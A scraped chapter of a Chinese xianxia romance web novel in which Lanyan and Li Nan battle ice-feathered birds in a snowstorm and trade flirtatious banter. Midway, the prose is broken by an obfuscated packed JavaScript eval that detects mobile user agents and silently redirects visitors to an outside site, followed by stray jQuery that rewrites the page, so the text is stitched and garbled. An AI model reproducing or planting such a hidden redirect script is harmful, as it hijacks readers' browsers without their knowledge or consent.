冰羽鸟,顾名思义,是个浑身羽毛仿佛冰棱的漂亮小鸟——大鸟,单展半边翅膀,便能将众人压得严实,一只爪子,就能将一人提至半空,估计那长喙下来,张口便能如吞鱼一般吸溜整条人进入腹中。
哦,至于从未见过这种生物的岚烟为何能如此清楚。
当然是因为眼下,黎难刚被那只冰羽鸟大爪薅走,让她首先长了见识……
就在前不久,品意提醒的话音落下之时,几人便就听到洞外吵耳的风中夹着嘶哑的鸟啸,接着一眨眼,三人宽的洞口中便突然撞进来一根红色的长喙。
嘴连着圆脑袋还有竖满坚冰羽毛的长脖子一起撞进冰洞中,还一张一合,在穴里胡乱叨啄着。
被长毛掩盖的头下,白色的眼睛应当无法视物,便只得如此凌乱地攻击着。
大家伙连忙抄起剑将岚烟和黎难挡在身后。
这冰羽鸟伸脖子进洞的举动无异是自投罗网,品意和项昀一同抬剑,稍微用了些力气就将这鸟斩杀在洞道。
一时,血气翻涌,腥味和热气齐齐冲出。
“鸟群不像刚才的雪妖,他们并不群居,同类亦是相残,尽量别被他们抓到,逐个击破。”
品意是这么说的,算得上是划了重点,可结果就是,岚烟带着黎难从洞里挤出去的那瞬间,露头就被叼了……
眼前雪暴是有丝大,不好视物也确实是,但犯不着那么大个鸟怼到面前岚烟都看不见。
如此便只有一个解释,那就是这家伙能根据雪林中的环境,调整羽毛颜色。
岚烟只觉得手底下黎难突然被一股巨力拽走,同时呼哧哧的扇翅声拍打在耳边,她下意识绷紧手臂力道往回拽,回头去喊品意。
而后脚下想踩住用劲反将人拉回来时,鞋尖抵着的厚雪却在这会突然碎散开来。
完蛋——
她愣了下,脚底一滑,都等不及往后摔坐在地,就被那冰羽鸟扯着黎难的力道一下子拉上了天。
岚烟右手上的灵丝飞速甩动并绷直,朝下绷上了劲。
上下两个力道拽着她,岚烟此刻觉得自己真是好得不能再好!
黎难肩头被利爪扣着,上方那巨鸟见吃独食被阻拦,果断选择当下享用,长嘴回掏要将脚下这条人吸溜进去的时候,殊不知连着它爪子的肩膀处,正向上极速攀升着白晶。
黎难没有说话,但岚烟看到了。
她虽是不清楚为何这人发动法力效力如此之慢,可总是给她提供了个思路,与黎难交握的手心猛地发力,聚出更多法力递向他,然后向拉着她右手的灵丝传音:品意师兄,你放开些。
话间,本来还在攀登的白晶此时就像是烈火燎原,在那鸟头刚垂下张嘴的之时,好似听到“哧”的一声,白晶“火焰”便将整只大鸟“点燃”。
白色无神的眼中写满不解,翅膀也无法扇动。
巨大的鸟状晶雕欲从空中坠落。
此刻,岚烟右手的灵丝应声松动,她察觉到,拉着黎难的手倏地用劲,那人也感应到她要做什么,胳膊拉高,带着力气将她甩上了自己头顶。
岚烟便借这一力,抬腿旋身一踢。
咔嚓。
与黎难肩头相连的白晶断裂炸飞,漂亮的鸟晶雕将密密的雪幕切出一道空白,带着破空之声飞去远方,成了天空的一小黑点。
黎难浑身轻松,还有空眯了眯眼,感受面上扫来的衣摆,还有从头顶擦过的小腿绑带。
嗯,他选的料子,扇人不疼……
然后失重感突然来袭,他惊了一下,刚要调整姿势想拽回岚烟,那人已然先一步从后围过来,手臂掐住他的腰,从高空跃下时,稍带着他往怀里牵了些。
他比她高,却还能防着不叫他摔断了腿,这差不多是抱着他跳下来的了。
他面子呢……
哈,他什么时候有这种东西。
黎难嘀哩咕噜肚子里想了不少,最后回到面上,也只是勾着岚烟的脖子,毫不吝啬地朝她抱拳:“恩人受我一拜。”
反正面子都没了,他里子拿出来用照样可以!
岚烟还带着他,在这小林子里左右寻了寻,后感受到灵丝召唤,往那处跑,顺带给他回答:“完事了再拜。”
她是怕就那日在棺材铺发生的事,比较耽误时间。
黎难不记得那尴尬事,或是记得强制自己记不得,胡言乱语:“行,回去给你拜个大的。”
“可以。”
“……”
黎难说不下去了,继续和她牵着小手,只不过这次两人各跑各的,奔得飞快,像是各自飞的双雀,谁知互相爪子上勾着红线。
岚烟才不知道他心里头弯弯绕绕,只知道这人忽然打了鸡血一般,便猜测是不是又开始计较自己实力的问题,非常体贴地安慰回去:“干得不错。”
黎难:……
遂开心,遂骄傲,遂找不着北。
他余光看见项昀和何莫宇在那里勇斗大鸟,许是知晓那鸟啄人的痛苦,当即便想去帮上一帮,可岚烟则是朝着关辰和品意那去的。
两人正正好相反。
岚烟往左跨的步子一顿,被那人拽得歪扭,条件反射就以为对方又要出什么幺蛾子,直接一个强制更改路线,将他拽到自己身边。
那人背着披风,在大风天里多添了不少重力,被扯过来的时候,就像是两个黎难一齐撞到了她肩膀。
刚好这雪地又左一个坑右一个洞,她被撞得左脚踩右脚,不幸地就带着他一块砸雪坑里。
黎难直直扑她脸上,手被她牢牢拉着,都不好伸出来撑地,期期艾艾哼唧一声,刚想说话,就听身后刚站的地方猛呲起一堆雪泥。
冰羽鸟未得手的鸣叫从后响着,扇翅卷出的风刃将周围风雪聚起再震开。
黎难长发飘荡,眯了眯眼感受背后削过去的风刀,幻感自己皮都被砍飞一层,回看身下面色沉静的岚烟,由衷道:“料事如神啊,岚烟大人。”
岚烟没回答,注意力飘去正扶着的半边腰肢。
黎难内里衣料薄,她的手扶在上面,能感觉到掌心下因为绷紧撑起的肌肉,垂眼望下,身上这人的确是……撑得很艰难。
加上他跪着膝盖的雪地被风扇得松动,所以即便他很努力了,身体依旧慢慢下陷,两人间隔开的宽度逐渐缩窄。
而他的手还被她捏着,卡在他自己腰边。
岚烟酷爱扶他的腰,不知是不是比较顺手,就连这会两人交握的手别扭地卷在一起,都得卡腰上。
黎难另一只手在她脸边,受力太小,依旧下陷,腰边的手又撑不上力,距离再缩。
缩得他腹部肌肉都要再绷出来三块了,实在挡不住,两人胸前腰腹的衣料褶皱终究是缠着一起。
岚烟看见他拧紧的眉毛更紧,手下的腰似开始微微颤抖。
风小了。
他背后乱发垂落,丝丝缕缕荡在她眼前。
只见近在咫尺的这双黑眸急忙一转,唇齿开合飞速说着:“男女授受不亲,你让我起来。”
“你得自己起来。”
“我陷下去了。”
岚烟余光瞄到旁边被雪没过的小臂。
面上忽地扫过一团热气,她转眼,面前这张玉一样的脸带着黑眸很快移开,又立即扭回来,再滑走。
她还是不放开黎难的手,另一只掐着腰的手用力撑,顺便习惯性地,曲起右腿。
“嗳!”
黎难发誓他配合了,只是他一旦用力,手腿就陷得更深,活像是唱反调,然后她那膝盖又刚好抵上来……
他在她脸边撑开的手猛然攥了一手雪水。
顿时将脸偏到一边,也不说话,就这样让岚烟举起上半身。
岚烟看他额前的发乱得挡了半张脸,眉头微蹙神情耷拉着,光这么看不知道受了什么天大的委屈,被她握住的手稍紧又松开,像是神游去天外了一瞬,这一瞬才回过神,手脚并用往后挪上坑外。
她也终于逃离背后寒凉的雪地。
黎难这回好像也参悟到了方才她真正要做的事,随意理了理鬓边的发,疾步向着正在往来的品意那走。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853013|171670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>岚烟睨他,干正事时还不忘关心手边人的心理健康。
“你没有碰到我,放宽心。”
黎难睨她,虚心动了下都快被握出汗的手,眉毛拧了松,觉得这一路的自己哪哪都不对味,想着不能这么下去,于是清了清嗓子,自信开腔:
“还好,其实我并非男子,那句话并不适用于你我二人,再来一次也无妨!”
怎么怪怪的……像个登徒子。
好巧不巧,关辰和品意就在此时靠过来,听见这美丽的一句话。
关辰实在难受得紧,为什么如此危急关头,非要让她听到这种八卦?
她疯狂鄙视。
岚烟却没看着,满脑子只思索黎难的前半句话了。
他不是男子,不是?那刚刚……
她探究的眼神不掺任何杂质地瞟向黎难的脸,接着缓缓下移,扫过衣襟交叠的胸膛,金玉皮带勒紧的腰,停留在小腹前那块被撕得破破烂烂的衣摆上。
衣摆稀烂,挡在腿间,却拼死了也挡不住岚烟滚烫的视线。
大风一刮,更是一览无余。
那两条长腿拘谨地往后退了半步。
黎难被她捏着的手指都麻了,抢在关辰那满脸狂风暴雨到来之前,急忙捂住岚烟的眼睛,将人调转了个方向,推在身前。
“鸟还在飞呢!”
“鸟什么鸟!你刚怎么她了!她——”关辰一张嘴就要理论,黎难满腹言语这会也被岚烟的目光杀了个精光,愣是没说出来半个字,干脆上手推关辰往品意那里去,“师兄,前面那两人有点麻烦。”
他强行转移注意,品意也知道,只是在视线转移前,瞪了他一眼。
黎难噎了一下,冤枉得可以,回过头来恶狠狠地看向岚烟:“你!”
岚烟被他捂着上半张脸,才看见这毫无杀伤力的一眼,正经道:
“我知道,你是不好意思了所以故意那么说的,但没必要这样,你怎么样我都见过了,就算直接躺我身上也——唔唔?”
又改嘴巴被黎难捂住,那人的眸子恨不得贴上她的眼,用气音道:“说什么呢!”
再微微松开手,好让她漏出后半句。
就听那人睫毛扑闪扑闪,继续道:“不会嫌弃你的。”
黎难在愣了两下,惊奇地笑了:“好——”
又在之后接上一句:“你居然还想着嫌弃我?!寒心啊寒心。”
然后放在岚烟下半张脸上的手又移去将她眼睛盖着。
岚烟眼前暗下去,知道这人别扭毛病又自愈了。
这时候忽然感觉黎难其实挺厉害,每次都能把自己弯成山路的心思捋直回来,也是一门本事。
她睫毛眨了眨,蹭过他手心:“我该看路了。”
话毕,伴着一声急促飞走的呼吸,掌心和面上的手迅速抽离。
岚烟视野恢复,她赶忙拽紧又一次离她而去的人,上前两步扳着那冰羽鸟的脖子来了个超级过肩摔,又不紧不慢从那凌乱着的鸟羽下将黎难拽出来。
慢吞吞说:“不看路就是这样的。”
黎难差不多是跟着那鸟一起倒插葱,揉着脑袋被她抓起来,嬉皮笑脸:“我怀疑你在报复我。”
岚烟:“小小的教训。”
她继续抓住他的手,指着两边低空滑翔的鸟群,扬声道:“挡下他们,咱们一起冲去林子便可以歇歇了。”
边说,边跟品意确认了下,三人一齐往前跑。
黎难看着手底下输送来的法力,失笑,这是丢给他一个简单差事怕他闲得无聊吗?
这般想着,他依言应声“得嘞”,再次抬手,大片的白晶拔地而起,拦住远处展翅滑来的冰羽鸟,而近处的几只,则是由几位剑修合力抵挡。
众人配合得当,还算体面地冲跑向雪林中同样的一处山洞,寻到玉碗,和之前那样施法去除浊气后,在原地修整了一会。
可半晌过去,原本要继续开路的品意却突然改变主意,说将灵气瓶留在原地,他们转头回程。
这怎么能行?这不行!